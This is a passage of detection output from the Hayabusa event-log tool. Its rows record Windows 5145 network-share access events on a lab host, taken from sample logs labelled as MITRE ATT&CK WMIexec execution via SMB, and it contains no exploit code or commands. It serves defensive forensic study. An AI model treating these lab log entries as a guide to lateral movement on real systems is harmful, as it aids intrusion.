10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.607 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.C8d726d22# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.607 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.C8d726d22#\7a53b2a7d76ecfa30210cf5ead782971 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.622 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.C25dcfcb8# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.622 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.C25dcfcb8#\02acbf854b27f2d83aa9eec6e1f6135a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.622 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.C26a36d2b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.622 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.C26a36d2b#\69e2093b3cec29bdd3c9fbba83990dfe : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.638 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ca018eff0# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.638 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ca018eff0#\dd2dddd8e337402ac96330a8d24120d6 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.638 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.CSharp : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.638 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.CSharp\3df09428e1087ca282100efc481a9947 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.638 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.D0ff51f83# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.638 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.D0ff51f83#\93e744bcb19dc3206bfff080448a94e1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.638 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.G46fcc235# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.654 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.G46fcc235#\8b051a98022e8b354053e87e1dcaf2f0 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.663 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.G91a07420# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.663 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.G91a07420#\88eec28a11e76fffbecf3de79cadf076 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.670 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ga41585c2# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.670 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ga41585c2#\d75626a8ff89596aee2cf2c9eb554cbf : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.686 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.I0cd65b90# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.686 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.I0cd65b90#\62095b976d2affb993898b2e9f88c475 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.686 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.I7676db1a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.686 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.I7676db1a#\f39c57237f98d69b4abdc9e3907d8fe7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.686 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ib6702479# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.686 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ib6702479#\9fd6e8c8110ccd01fd6745507b906c04 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.702 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ic1a2041b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.702 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ic1a2041b#\ec2e3c1e16b1d1427b32d2f2babf99bc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ifcaec084# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ifcaec084#\a9175ff6a1a8784975c70e9933314ecd : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Kd58820a5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Kd58820a5#\c7ef2b5b5fc4335bef3148904cb3f0e5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a#\a5c640ad1645775e93d560f67f3ea1d1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Meefd589e# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Meefd589e#\865873dc1b8af370b7a314c3c89dcfd0 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.717 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf5ac9168# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.733 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf5ac9168#\9d5a241e9cf3bdb8312058004ea269f4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.733 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.733 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\68828aa1ea98316a22a4d8488267b07b : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.733 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mff1be75b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.733 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mff1be75b#\7cb1fc2895121ae7e24841bd0c24b25e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.733 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P0e11b656# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.733 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P0e11b656#\e1349161320cee221fb339c41ab73546 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.748 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f9a5e83# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.748 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f9a5e83#\59420f153f7bb0ef6f63e75d08020c8c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.748 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.748 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\433ad5082c48708eb6acf6fa065c1461 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.748 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P08ac43d5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P08ac43d5#\87b325b56b362a5d2dca93029c0d75b8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P9de5a786# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P9de5a786#\8078dc8e65f16bfd95c09cce4fe0280e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P10d01611# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P10d01611#\54330dabd4f5e29c758461cbbf2a4f34 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P34f388c1# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P34f388c1#\50399e243bf8da1addc23305521efbd9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.795 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P1706cafe# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.795 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P1706cafe#\174cd66357bfa0b262b0dbd9bd0e64e3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.795 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P047767ce# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.795 